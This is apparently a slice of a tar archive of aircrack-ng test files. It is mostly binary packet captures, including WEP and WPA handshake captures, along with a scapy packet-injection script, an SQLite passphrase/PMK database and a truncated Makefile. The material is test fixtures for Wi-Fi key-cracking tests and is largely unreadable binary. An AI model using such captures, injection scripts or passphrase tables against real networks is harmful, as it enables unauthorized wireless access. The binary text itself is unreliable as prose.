6é*ÌŠ] ÃÕ°¥â£ÍÛ2GŸÂ±ÂT§N%;Yö9Ü`‘µtãe㬓L@ñ†| SJù SúÚ—d4Jõ Ðó=Jا€¸|¬Þ­BZõ'¹OÞÄ.:R;Q^ܘ§gYDý¢¢BÔÎU˜ï †Â¤…¿0 nÀþ×MˆŠl÷o* á2»oÛxSÒO‚øíÓ½ùÚ'¥k@äy;HÝù‚1ò÷Ë×­TûL=@—ðrT,ǹնHx>’A—ÒÚZ¾¼º{‰bÀHª‹õ©—úÉd?íd²ƒ2Up€Þˆ™Û9Ê©9­u­•Ÿ ãÊV×w™ 40,îyúU^ˆ¢½žÑèåéüÚGP™'o_eû ßÔÏ^r= 0’£›¯·™•-á¬<úJª¤¯7×éIò]c›.³š6ì(¿L?¡•ú¤Üîi$bIË š¶4PÚqVñ¹µjß’ånåDÊ º“lIÇEÕ݉«1)D‚–û ]”y=±¯°»ÓȃæºùZKe9q5æÔ¨õã8ï!4ŽŸ|†þž€q(€ûÀ(4¾ô#¦´E)dÛsøýš¯6BÓÙî¡:A\±M£.ûÔ‚<©O ‚8f±?¨Ä‘©‘-?|<Âv› §gYD^8ŒŒA †Â¤…ÎU˜ïfãäÀ  ð)ãÙ‰µ eœÌ—Åä1ù¨³6à=ŸµBÍË:oºÆ9ÉÀŽB²ÕÀuÉ| þiÍñHâ0áA@0…5’>h ÷Ý ‘2Q0xuÄÒ[þy÷oËK½Gço®H³ Ž;gØå¬x^KsôÄ·§gYD›uoo€ÿÿÿÿÿÿ †Â¤… †Â¤…€h¦ÀC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ§gYD H †Â¤…ÎU˜ï †Â¤…ð=§gYD¡ ÔÎU˜ï§gYD´ÚH †Â¤…ÎU˜ï †Â¤…>§gYDôÝ ÔÎU˜ï§gYDËßÈÈBÔÎU˜ï †Â¤…fãä  53 ¯F¢A=#â·Žï}¸¶Ê­`»`\ëåŸWäÃr~f.3 4ãÙØÛÀÔ0@.m‰näïx¤™º¶í~o¨WR%±ÐZí×&œ’­÷cБB¸ûµ—-´‘';Ò*¹šÈvÔ&î°·[üéúVl/Ò:Ÿúä9|áÓ »€Mß'_c–î“Ûäñ0/fº•¦¥2Üa Ûº€>óʧgYD›oo€ÿÿÿÿÿÿ †Â¤… †Â¤…ðh6ÂC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ§gYD{IH †Â¤…ÎU˜ï †Â¤…>§gYDJ ÔÎU˜ï§gYD iH †Â¤…ÎU˜ï †Â¤… >§gYDÑi ÔÎU˜ï§gYD›•oo€ÿÿÿÿÿÿ †Â¤… †Â¤…PhÆÃC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ§gYD³™H †Â¤…ÎU˜ï †Â¤…0>§gYD¶š ÔÎU˜ï§gYD\÷H †Â¤…ÎU˜ï †Â¤…@>§gYDGø ÔÎU˜ï§gYD—%oo€ÿÿÿÿÿÿ †Â¤… †Â¤…°hVÅC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ§gYDù(H †Â¤…ÎU˜ï †Â¤…P>§gYD* ÔÎU˜ï§gYDH †Â¤…ÎU˜ï †Â¤…`>§gYD÷ ÔÎU˜ï§gYD™µoo€ÿÿÿÿÿÿ †Â¤… †Â¤…hæÆC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ§gYD6¹H †Â¤…ÎU˜ï †Â¤…p>§gYD@º ÔÎU˜ï§gYDH †Â¤…ÎU˜ï †Â¤…€>§gYDÄ ÔÎU˜ï§gYD'··B:ÎU˜ï †Â¤… †Â¤…   Xw'Õ½n3>ŽE1Q­Õ+R¶-8ƒ¦ÀÙ®p×ç:ÆŸ“3Ö©ŸN“Ö„u'åà)»:Ž[N´ ›W%¡s á³4-m=b\êÖŒÅÐÚ 2îö&˜E)ÜB‹ÅŸøs"U}BVhZÞs¢ÜJ|r‚âv‡ã•Þí,—¢À×;>Xå×~ŒÂDŠèûî‹0­†þ‹©§gYD-——A †Â¤…ÎU˜ï †Â¤…Ð  jÉÖÃ*q¹ÔgÈŒVéd×ÿæyÅËE¡d64y SX­•|“1Z˜²0†ÙéGqã»u|ü[‡ ­s<âé(òtßÔ®w•]x%&Éç¼>¤¢€ ¾(åÓQæÄÝ^ Á:ò>¬â¥^O84š³´¨]OÍð§gYD. ÔÎU˜ï§gYDŠGoo€ÿÿÿÿÿÿ †Â¤… †Â¤…€[xÈC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ§gYDaJUUA †Â¤…ÎU˜ïfãäà  c‹IÄE[ÈúòIÉ^/U«SÙ‘ÄûÕpj­Úþ¯pD#ùÁá(× ` ×–¡6§gYD˜PbbBÔÎU˜ï †Â¤…fãä  .q‘-@Ðg@z*i1Æ9RüÑÓž·{Ä]öæê¹^W·¸¥‡µâ÷ŠûöÛ <Š(<ã%Œ;]r_âŽDX÷îæ(§gYDѺH †Â¤…ÎU˜ï †Â¤…>§gYDл ÔÎU˜ï§gYDOª H †Â¤…ÎU˜ï †Â¤… >§gYD%« ÔÎU˜ï§gYD˜Õ oo€ÿÿÿÿÿÿ †Â¤… †Â¤…ðhÊC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ§gYD+Ù H †Â¤…ÎU˜ï †Â¤…°>§gYD3Ú ÔÎU˜ï§gYD˜< H †Â¤…ÎU˜ï †Â¤…À>§gYDg= ÔÎU˜ï§gYD–e oo€ÿÿÿÿÿÿ †Â¤… †Â¤…Ph–ËC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ§gYDBi H †Â¤…ÎU˜ï †Â¤…Ð>§gYDIj ÔÎU˜ï§gYD„Î H †Â¤…ÎU˜ï †Â¤…à>§gYDcÏ ÔÎU˜ï§gYD•õ oo€ÿÿÿÿÿÿ †Â¤… †Â¤…°h&ÍC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ§gYDiù H †Â¤…ÎU˜ï †Â¤…ð>§gYDbú ÔÎU˜ï§gYDsUH †Â¤…ÎU˜ï †Â¤…?§gYD`V ÔÎU˜ï§gYD”…oo€ÿÿÿÿÿÿ †Â¤… †Â¤… h¶ÎC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ§gYDîˆH †Â¤…ÎU˜ï †Â¤…?§gYD÷‰ ÔÎU˜ï¨gYD¢ªH †Â¤…ÎU˜ï †Â¤… ?¨gYD¤« ÔÎU˜ï¨gYDRÓoo€ÿÿÿÿÿÿ †Â¤… †Â¤…p hFÐC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¨gYD×H †Â¤…ÎU˜ï †Â¤…0?¨gYD#Ø ÔÎU˜ï¨gYD¾7H †Â¤…ÎU˜ï †Â¤…@?¨gYD†8 ÔÎU˜ï¨gYDRcoo€ÿÿÿÿÿÿ †Â¤… †Â¤…Ð hÖÑC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¨gYDgH †Â¤…ÎU˜ï †Â¤…P?¨gYDh ÔÎU˜ï¨gYDNÂH †Â¤…ÎU˜ï †Â¤…`?¨gYDNÆ ÔÎU˜ï¨gYDSóoo€ÿÿÿÿÿÿ †Â¤… †Â¤…0 hfÓC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¨gYDæöH †Â¤…ÎU˜ï †Â¤…p?¨gYDï÷ ÔÎU˜ï¨gYDa\H †Â¤…ÎU˜ï †Â¤…€?¨gYD4` ÔÎU˜ï¨gYDSƒoo€ÿÿÿÿÿÿ †Â¤… †Â¤… höÔC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¨gYDĆH †Â¤…ÎU˜ï †Â¤…?¨gYD½‡ ÔÎU˜ï¨gYDäæH †Â¤…ÎU˜ï †Â¤… ?¨gYD¨ç ÔÎU˜ï¨gYDQoo€ÿÿÿÿÿÿ †Â¤… †Â¤…ð h†ÖC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¨gYDÚH †Â¤…ÎU˜ï †Â¤…°?¨gYDà ÔÎU˜ï¨gYDyH †Â¤…ÎU˜ï †Â¤…À?¨gYDßy ÔÎU˜ï¨gYDU£oo€ÿÿÿÿÿÿ †Â¤… †Â¤…P hØC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¨gYDƒ§H †Â¤…ÎU˜ï †Â¤…Ð?¨gYD{¨ ÔÎU˜ï¨gYDò H †Â¤…ÎU˜ï †Â¤…à?¨gYDÜ ÔÎU˜ï¨gYDQ3 oo€ÿÿÿÿÿÿ †Â¤… †Â¤…° h¦ÙC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¨gYDä6 H †Â¤…ÎU˜ï †Â¤…ð?¨gYDY8 ÔÎU˜ï¨gYDÒ• H †Â¤…ÎU˜ï †Â¤…@¨gYD˜– ÔÎU˜ï¨gYDNà oo€ÿÿÿÿÿÿ †Â¤… †Â¤… h6ÛC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¨gYDïÆ H †Â¤…ÎU˜ï †Â¤…@¨gYD È ÔÎU˜ï¨gYD ( H †Â¤…ÎU˜ï †Â¤… @¨gYD) ÔÎU˜ï¨gYDNS oo€ÿÿÿÿÿÿ †Â¤… †Â¤…p hÆÜC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¨gYDðV H †Â¤…ÎU˜ï †Â¤…0@¨gYDþW ÔÎU˜ï¨gYDcºH †Â¤…ÎU˜ï †Â¤…@@¨gYD]» ÔÎU˜ï¨gYDRÆ}}A †Â¤…ÎU˜ïfãäð  †‘XlÄèjt»êØMÏ÷`ö÷Œà.h ʚќtÎÔŸRûÅi¨EKo85ŽÔgYHi ­»HV¯¤5Ü'˜049VZÝÄP<ËîRR<ŠÍVä}ƒG¨gYDNãoo€ÿÿÿÿÿÿ †Â¤… †Â¤…Ð hVÞC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¨gYDº}}A †Â¤…ÎU˜ïfãä  .q9£/¯BÏÑîdeMeû–ý€d!lÇDÎ*»B®*Pc\,a@­7eš[_;·ÉxÌ¢Š¶¡ÆÅh²„¤™›½h¾o;¡.ŸSè!®%.0n¢á •©gYDZ)H †Â¤…ÎU˜ï †Â¤…P@©gYD˜* ÔÎU˜ï©gYDH †Â¤…ÎU˜ï †Â¤…`@©gYDè ÔÎU˜ï©gYD1oo€ÿÿÿÿÿÿ †Â¤… †Â¤…0 hæßC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ©gYD£4H †Â¤…ÎU˜ï †Â¤…p@©gYDª5 ÔÎU˜ï©gYDì”H †Â¤…ÎU˜ï †Â¤…€@©gYDW˜ ÔÎU˜ï©gYD Áoo€ÿÿÿÿÿÿ †Â¤… †Â¤… hváC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ©gYD®ÄH †Â¤…ÎU˜ï †Â¤…@©gYD±Å ÔÎU˜ï©gYD0'H †Â¤…ÎU˜ï †Â¤… @©gYD:( ÔÎU˜ï©gYD Qoo€ÿÿÿÿÿÿ †Â¤… †Â¤…ð hãC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ©gYDåTH †Â¤…ÎU˜ï †Â¤…°@©gYDéU ÔÎU˜ï©gYD‘µH †Â¤…ÎU˜ï †Â¤…À@©gYDW¶ ÔÎU˜ï©gYD áoo€ÿÿÿÿÿÿ †Â¤… †Â¤…Ph–äC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ©gYDŸäH †Â¤…ÎU˜ï †Â¤…Ð@©gYD§å ÔÎU˜ï©gYD›iH †Â¤…ÎU˜ï †Â¤…à@©gYDŒj ÔÎU˜ï©gYDômPPA †Â¤…ÎU˜ïÿÿÿÿÿÿ  TËí7挠«~: ñK|&¾?2wñ¼M¿šH˜V¯¼÷M¤»€Ö¦{kí0ºu /†©gYDën ÔÎU˜ï©gYD8tbbBÿÿÿÿÿÿ †Â¤…ÎU˜ï` !`çÿ2žqj«RÓÈûþZMÁm“Z«!yÏrÔz^…»ÁÉ`|ª¬oÙ „`–í B'»T/jt/\Û©gYDvbbBÔÎU˜ï †Â¤…fãäp  E \8ÌVØ <Eü@`ÇBÝvµ‚Šj†3 죠|’êšÂ½M“ÒÑïhÌ6>|¦K þ3 „ ^©gYDcyUUA †Â¤…ÎU˜ïfãä   jk3†‰s¸ñÆVòß*˜~ÄTîæÃp­Ï%~¹‰ÿòN~tŸ¬aÕI²Ýù„6y²”©gYDMbbBÔÎU˜ï †Â¤…fãä€  qŸ ,<߰ݾ!Ý8H^w¤%A—µ§Ù¸ZNh™PúAé"gïkÞàk…ŠW¿ÀÎ=4z>"p•)êÚ¹dö׎ÎÓsƒÞËË¿„Xù›©¥°¿0ó³­x/Ûé9ÉY~Òæ›ºê쟖¬g­ˆÚÝ(ØÕÎË¥ð.þ“7 ÂõèªgYDÞ ÕÕB^ÿú †Â¤…ÎU˜ïÐ "`~ôѦ3âE¸P—ÁZtúÜÇe÷ ‹6Lë—'È÷A–­¤ªK+ß½‘eQ§íÇ…Õ¾|ü/a4Âû/üÚVSýêIâí…‰³K+n>#ü›Õ½5Ô ?)/eò~w_áÌ™ËÛKÅ27r”:Ò4^J`/‹n{Ä-îiït^Г¡4IXòáÙᨠ,i1ì8}2؆#0e™·Àþ[’?—ãZÞ –˜œŸªgYD¢¢BÔÎU˜ï †Â¤…¿0à  xÀ‘"¾éo«sÒ„-Ö› eߪðÖCùü– <ÙtâUÞ¥Æû.$tŒ?à «°]ÜH‘e_X›½Þj‰‡e¬I'9ÊF„·›¹‹2eÎZ —Ø|u8zèñKò:ÂÍOEÔ~ Ü,ô³›AÌR·?·IN¶1LÍžó‘‡o÷â÷òÍ®)betÄ ÉkЫ@q4ûWÔ×Guù«dTc<¨¤Wž…¨Y§ªXô£Dº¯6¾Ù£Üc›Œ0‡2úcQç4û‰dèÕü)hañ›jRa'Ò2骹Ї-7SÞscò{ö ²ùøN^F_CÏÚSýÕvîÕ£}‘ê‹bÄÊÏËK̼¿'c>EÅꎟâCæô½Riž†$œœnõBäF]¯,r0´Ò¥îA‚êLêàÓ²DÚ«™1ë•@‹a×Q¢Ø¯C®Wß[T’”ýYÊÌ:­/€mÛÀº¸½“­ú6Áë`(§8¼ÄR£Øõº‰në1´rv§~V\¹/›qªgYD`xH †Â¤…ÎU˜ï †Â¤…°AªgYDÕy ÔÎU˜ïªgYDãcH †Â¤…ÎU˜ï †Â¤…ÀAªgYDÊd ÔÎU˜ïªgYDÆŽoo€ÿÿÿÿÿÿ †Â¤… †Â¤…@h†ïC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þªgYD‚’H †Â¤…ÎU˜ï †Â¤…ÐAªgYDƒ“ ÔÎU˜ïªgYDAöH †Â¤…ÎU˜ï †Â¤…àAªgYD7÷ ÔÎU˜ïªgYDÆoo€ÿÿÿÿÿÿ †Â¤… †Â¤… hñC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þªgYDZ"H †Â¤…ÎU˜ï †Â¤…ðAªgYDf# ÔÎU˜ïªgYD݃H †Â¤…ÎU˜ï †Â¤…BªgYD–„ ÔÎU˜ïªgYDÔ®oo€ÿÿÿÿÿÿ †Â¤… †Â¤…h¦òC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þªgYD[²H †Â¤…ÎU˜ï †Â¤…BªgYDd³ ÔÎU˜ïªgYDÇH †Â¤…ÎU˜ï †Â¤… BªgYD  ÔÎU˜ïªgYDÖ?oo€ÿÿÿÿÿÿ †Â¤… †Â¤…`z7ôC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þªgYDCH †Â¤…ÎU˜ï †Â¤…0BªgYDuD ÔÎU˜ïªgYD#¡H †Â¤…ÎU˜ï †Â¤…@BªgYD¢ ÔÎU˜ïªgYDÃÎoo€ÿÿÿÿÿÿ †Â¤… †Â¤…ÀhÆõC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þªgYD7ÒH †Â¤…ÎU˜ï †Â¤…PBªgYDOÓ ÔÎU˜ïªgYD•H †Â¤…ÎU˜ï †Â¤…`BªgYD¡ ÔÎU˜ïªgYD‘§§A †Â¤…ÎU˜ïfãä@  ®£BØqñ,GD€¨8Üë äçI¢­vX¯ Íà~l¾pòþø4Ë.õSŸ7;û¾‰ì§¿¢d EdÌx‡øvh‘%,•àûÁ–µÚâ‘þñíXuò†bnÏcæØM Bx+/Êpm[EšÑ`bÙ‘†ŒÀqÊrzRo¤-@ÒÎ1’ÿ¹ªgYD.ƒH †Â¤…ÎU˜ï †Â¤…pBªgYD!„ ÔÎU˜ïªgYD\3 H †Â¤…ÎU˜ï †Â¤…€BªgYDT4 ÔÎU˜ïªgYDÀ^ oo€ÿÿÿÿÿÿ †Â¤… †Â¤… hV÷C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þªgYD†b H †Â¤…ÎU˜ï †Â¤…BªgYDŠc ÔÎU˜ïªgYD$Å H †Â¤…ÎU˜ï †Â¤… BªgYDßÅ ÔÎU˜ïªgYDÂî oo€ÿÿÿÿÿÿ †Â¤… †Â¤…€hæøC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þªgYDlò H †Â¤…ÎU˜ï †Â¤…°BªgYDxó ÔÎU˜ïªgYDüW H †Â¤…ÎU˜ï †Â¤…ÀBªgYDf[ ÔÎU˜ïªgYDÁ~ oo€ÿÿÿÿÿÿ †Â¤… †Â¤…àhvúC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þªgYDr‚ H †Â¤…ÎU˜ï †Â¤…ÐBªgYDkƒ ÔÎU˜ïªgYDxâ H †Â¤…ÎU˜ï †Â¤…àBªgYD]ã ÔÎU˜ïªgYD¿oo€ÿÿÿÿÿÿ †Â¤… †Â¤…@hüC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þªgYD_H †Â¤…ÎU˜ï †Â¤…ðBªgYDg ÔÎU˜ï«gYDn2H †Â¤…ÎU˜ï †Â¤…C«gYD^3 ÔÎU˜ï«gYD\oo€ÿÿÿÿÿÿ †Â¤… †Â¤… h–ýC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ«gYD `H †Â¤…ÎU˜ï †Â¤…C«gYD(a ÔÎU˜ï«gYDKÈH †Â¤…ÎU˜ï †Â¤… C«gYD?É ÔÎU˜ï«gYD|ìoo€ÿÿÿÿÿÿ †Â¤… †Â¤…h&ÿC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ«gYDOðH †Â¤…ÎU˜ï †Â¤…0C«gYDñ ÔÎU˜ï«gYDº £ÊÊ;Ë­`©»[­gYD©# €€A †Â¤…ÎU˜ïfãä`  PXb³ôq‹Œ5X-¨Qžcs"å]ĸìߦ ±ŠTm<;)/;ÙÛj!9š-bpé4šÃyðk·Îž†l¨XÊ…xN†»²v¢¶ÅÔçj²™H=©È #,am>Dð+­gYDM ¼¼BÔÎU˜ï †Â¤…fãä0  ðjS]¶ÒÉ®Ôy +|^ Å8V'Ü^ZHP¾¤{%¦ËžkE¥+¦¹8âøS ¤™ôeÐæ5™g Â×`{é>Þ½£år›˜¢x°'7•ÓÔª:‹Dˊİ„o5p°ÎˆëƒT`—c²Féÿî!$7»j¶.VÆÿËÆÒÖÍ.>r¡é5Ñ Õm·siÁy6 Þ­gYDÈ\ ¼¼BÔÎU˜ï †Â¤…fãä@  ^pƒð ßfyóã…Ó?UÕŽp¥d2ûÐãkŽÑŸXq*&ÂDb2wÚ—¨@`p Ñï惘J’_*„^~¹4ébÌ‹škûõ¢ˆ‹|M3£Gh/Gü]`í±~ïIבR•êÒGL ]ÄßÐ?#0júp³¾hREÌ+ d-},}ði(8)ÊR¢Â˜ã–Êh­gYD®v H †Â¤…ÎU˜ï †Â¤…H­gYDŸw ÔÎU˜ï­gYDC| oo€ÿÿÿÿÿÿ †Â¤… †Â¤… ¯:&D%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ­gYDÜF H †Â¤…ÎU˜ï †Â¤…àH­gYDÛG ÔÎU˜ï­gYD›Á }}A †Â¤…ÎU˜ïfãäp  ÃKð<Åt±€?ßF€ÓÃÍúÈ‚Ì; p+¡`Ä4å¬jÐ$×gÑZ9ù–#iøÇÑæ²×}50»ÍÎBwç|2ð¡»ó’Ÿ—Æù@½cŒ›®©ÇÒ<Ÿ›=êk©¨ ­gYDèË }}A †Â¤…ÎU˜ïfãä€ 3í»ÐÛ%H§#+kW¦åž/ÐyÓðϾ”_=ÄÛ[ÓRÚ+프}UQa¸ìïØAtv-˜4ØJêÆìÞ!âLa{ÿd^5÷È1êŠA÷5¶þµ©}¾ɰk­gYDê ¹¹BÔÎU˜ï †Â¤…fãä°  0ñÐP†•)QïÒ3H™q…Œï×¼ÊÐ’ãEáŽÂÌÓ<ö—qK),2n:‡9FÓ‘„7wÿÙ¿xx@r°ì¢2ÛÖ;j<7hð¬H²Þ5g]¦õ_³WßµÏf#«&É̺áé×2Á妀…¦,´I‹n+ «ÛKÇóèÁ|è¡jg8ú7…ˆ»†åñÊauðþ•ßè‚N&­gYD6í ¹¹JÔÎU˜ï †Â¤…fãä°  0ñÐP†•)QïÒ3H™q…Œï×¼ÊÐ’ãEáŽÂÌÓ<ö—qK),2n:‡9FÓ‘„7wÿÙ¿xx@r°ì¢2ÛÖ;j<7hð¬H²Þ5g]¦õ_³WßµÏf#«&É̺áé×2Á妀…¦,´I‹n+ «ÛKÇóèÁ|è¡jg8ú7…ˆ»†åñÊauðþ•ßè‚N&­gYDì oo€ÿÿÿÿÿÿ †Â¤… †Â¤…hÆ'D%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ­gYDÆ ¹¹JÔÎU˜ï †Â¤…fãä   S8âG^;Ïsî²X)œ3‹Â8Ü•˜Z)ˆ:ÖuŨI®•"?0Ò‘¦o %UbÅ.‡ƒ(ÀŒçr.9Ùh8Ä!yõ~žÁ §z´€"AÀ0KãÆíRVk«âÒ<'Ü%†ì^à>Üm׀ݠë’dÕ»\Æ0ððÑĘ8Iô Úoæ|µØ=?¼0Âé&ªlCRθ­gYDê— oo€ÿÿÿÿÿÿ †Â¤… †Â¤…€hV)D%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ­gYDÉ H †Â¤…ÎU˜ï †Â¤…ðH­gYDÍ  ÔÎU˜ï­gYDlýH †Â¤…ÎU˜ï †Â¤…I­gYDTþ ÔÎU˜ï­gYDë'oo€ÿÿÿÿÿÿ †Â¤… †Â¤…àhæ*D%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ­gYD™+H †Â¤…ÎU˜ï †Â¤…I­gYD©, ÔÎU˜ï®gYDÛIH †Â¤…ÎU˜ï †Â¤… I®gYD¤M ÔÎU˜ï®gYDªuoo€ÿÿÿÿÿÿ †Â¤… †Â¤…@ hv,D%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ®gYDMyH †Â¤…ÎU˜ï †Â¤…0I®gYDUz ÔÎU˜ï®gYD6ÜH †Â¤…ÎU˜ï †Â¤…@I®gYDÝ ÔÎU˜ï®gYD¬oo€ÿÿÿÿÿÿ †Â¤… †Â¤…  h.D%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ®gYD@ H †Â¤…ÎU˜ï †Â¤…PI®gYDF  ÔÎU˜ï®gYDjH †Â¤…ÎU˜ï †Â¤…`I®gYDZk ÔÎU˜ï®gYDª•oo€ÿÿÿÿÿÿ †Â¤… †Â¤…!h–/D%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ®gYDh™H †Â¤…ÎU˜ï †Â¤…pI®gYDlš ÔÎU˜ï®gYD•üH †Â¤…ÎU˜ï †Â¤…€Iaircrack-ng-1.2-rc4/test/wep.open.system.authentication.cap0000644000000000000000000000066310761053203022463 0ustar rootrootÔò¡ÿÿiî¡·ElÌ HH€ÿÿÿÿÿÿl~@€l~@€ ϱ‚ædteddy‚„‹– Ý ¤ô¡·Ep°:l~@€µ«Ël~@€`ô¡·Eq Ôµ«Ëô¡·Eq°:µ«Ël~@€l~@€`Õô¡·Eo  Ôl~@€ô¡·Ep --:l~@€µ«Ël~@€p1dteddy‚„‹–!&ô¡·Ek Ôµ«Ëô¡·Ep22:µ«Ël~@€l~@€pÕÀ‚„‹–Ý ¤ô¡·Ep Ôl~@€aircrack-ng-1.2-rc4/test/verify_inject.py0000644000000000000000000000053612511115146017113 0ustar rootroot#!/usr/bin/env python2 # Usage: https://github.com/aircrack-ng/aircrack-ng/pull/21 from scapy.all import * conf.verbf = 1 interface = "at0" rpkt = Ether( dst = "[AP mac]", src = "[STA mac]" )/\ IP( dst = "[AP ip]", src = "[STA ip]" )/\ UDP( )/\ DNS(rd=1,qd=DNSQR(qname="www.aircrack-ng.org")) sendp( rpkt, iface = interface ) aircrack-ng-1.2-rc4/test/wpa.cap0000644000000000000000000000624410761053203015157 0ustar rootrootÔò¡ÿÿwb†€BÉM Dath0DÕ6dDˆá–yDDD9DD D v€ÿÿÿÿÿÿ “ë°Œ “ë°ŒP‹áödtest‚„‹–*/2 $0H`lÝ“ÝÝPòPòPòPò6‰ †b†€B:[ Dath0DÜ6dDÿî—yDDD=DD D ‡Õ [‘S] “ë°Œ “ë°Œ`ªªˆŽ_þ‰ T­ÆD–mÈB=D6Jéì"AU"½UîqŠS¸ÖyG Åü¾b†€B\ žžDath0DÜ6dDÚï—yDDD&DD D Ô “ë°ŒL“iGb†€B5f //Dath0DÜ6dDûù—yDDD%DD D ŸÕ “ë°Œ [‘S] “ë°Œ9ªªˆŽwþ þ_ [T#_5þ`g »¹Fm†¨´I:ôÏZ󌃇(¨È•·år'¶§îãå4EÝPòPòPòPòˆb†€Bg žžDath0DÜ6dDÏú—yDDD>DD D Ô [‘S]Ž\ñÜb†€BRq //Dath0DÝ6dD1˜yDDD8DD D ŸÕ [‘S] “ë°Œ “ë°ŒpªªˆŽwþÉ T­ÆD–mÈB=D6Jéì"AU"½UîqŠS¸ÖyG R'¸?s|E —i\0x`½ÝPòPòPòPòÇœÄb†€B(r žžDath0DÝ6dD ˜yDDD'DD D Ô “ë°ŒL“iGb†€B¾u Dath0DÝ6dDŸ ˜yDDD'DD D ‡Õ “ë°Œ [‘S] “ë°Œ 9ªªˆŽ_þ þ_ [T#_5þ`g »¹Fm†¨´I:ôÏZ󌃇Ì0=̰²…%sSH RÅc=Ôªˆb†€BŒv žžDath0DÝ6dDs ˜yDDD>DD D Ô [‘S]Ž\ñÜb†€B·z KKDath0DÝ6dD•˜yDDD=DD D »BÕ [‘S] “ë°Œ “ë°Œ€  ÁFÅ­/ ˜ëĺm@ƒ¥½o›Qµ7‡¨+=ýŠÈ<8ùÀ|h;G³ö½CôµY*55¶/@‚Ùx@,d:Â4¾’ ÕÊXpÉJ¬+R꥚f@ò7é¼4è\ëiá r¹×ÚkÝN(Ò¡@¢Ë!¿»µ9/Pbß´Nu‘¾â‰‡ÕNp–:nªä-zA—O%λՓֿA&ñ•ƒ#b†€Bˆ{ žžDath0DÝ6dDp˜yDDD&DD D Ô “ë°ŒL“iGb†€B € ++Dath0DÝ6dDì˜yDDD'DD D ›AÕ “ë°Œ [‘S] “ë°Œ09  „£šëC™Â#®0A»Û½«xŒ9j‘S}^´žYKú¼w¿\§Òo¹Î™H3Têß-’áZ½ò9'è£×6ÑÔÜRN'_“Ù{Æ^ ÍÓö#ñúÅçh¤°[Q¨šóf’8îO1½®—…¬ŸùñÂiʧ7s=s½Aôlb†€BØ€ žžDath0DÝ6dDÀ˜yDDD<DD D Ô [‘S]Ž\ñÜaircrack-ng-1.2-rc4/test/passphrases.db0000644000000000000000000003400011044352764016546 0ustar rootrootSQLite format 3@  ûû  æñæ test@ Harkonen@ ÑõéÚÑpmk workbench passwd essid æóæ 12345678 biscotte \×®…\'Lþrz¨¶JɳõLrC-¡O®Ù3êQʱ[¼lRçR/pš'LÍךZϰpÇéÑ;‡…Ö9ä0³/1ª7¬‚ZUµU$î'LîQˆ7“¦öŽ–þsÈ :¦òÝ¥7¼æ'¹)<Æåy%'LoèWÀ·BßÂÚŠè±´´bŸ»°`‚kƒËC¶Káè ìì  ôô  èúîôè êóêtest Harkonen ææó 12345678 biscotte àøðèà °°-è_{UtableessidessidCREATE TABLE essid (essid_id integer primary key autoincrement, essid text, prio integer default 64)P++Ytablesqlite_sequencesqlite_sequenceCREATE TABLE sqlite_sequence(name,seq)g)tablepasswdpasswdCREATE TABLE passwd (passwd_id integer primary key autoincrement, passwd text)uQtablepmkpmkCREATE TABLE pmk (pmk_id integer primary key autoincrement, passwd_id int, essid_id int, pmk blob)‚ tableworkbenchworkbenchCREATE TABLE workbench (wb_id integer primary key autoincrement, essid_id integer, passwd_id integer, lockid integer default 0) ðð §C“Ðaªy§O '‚gtriggerdelete_passwdpasswdCREATE TRIGGER delete_passwd DELETE ON passwd BEGIN DELETE FROM pmk WHERE pmk.passwd_id = OLD.passwd_id; DELETE FROM workbench WHERE workbench.passwd_id = OLD.passwd_id; ENDG %‚[triggerdelete_essidessidCREATE TRIGGER delete_essid DELETE ON essid BEGIN DELETE FROM pmk WHERE pmk.essid_id = OLD.essid_id; DELETE FROM workbench WHERE workbench.essid_id = OLD.essid_id; ENDN#iindexlock_lockidworkbenchCREATE INDEX lock_lockid on workbench (lockid);Yindexpmk_pwpmkCREATE INDEX pmk_pw on pmk (passwd_id)Deindexessid_uessid CREATE UNIQUE INDEX essid_u on essid (essid)I kindexpasswd_upasswd CREATE UNIQUE INDEX passwd_u on passwd (passwd)G uindexep_upmk CREATE UNIQUE INDEX ep_u on pmk (essid_id,passwd_id)T indexwb_uworkbench CREATE UNIQUE INDEX wb_u on workbench (essid_id,passwd_id)aircrack-ng-1.2-rc4/test/Makefile0000644000000000000000000000054712604051056015345 0ustar rootrootAC_ROOT = .. include $(AC_ROOT)/common.mak TEST_DIR = $(AC_ROOT)/test CFLAGS += -Iinclude all: test-hex_string_to_array test-hex_string_to_array: $(CC) $(CFLAGS) 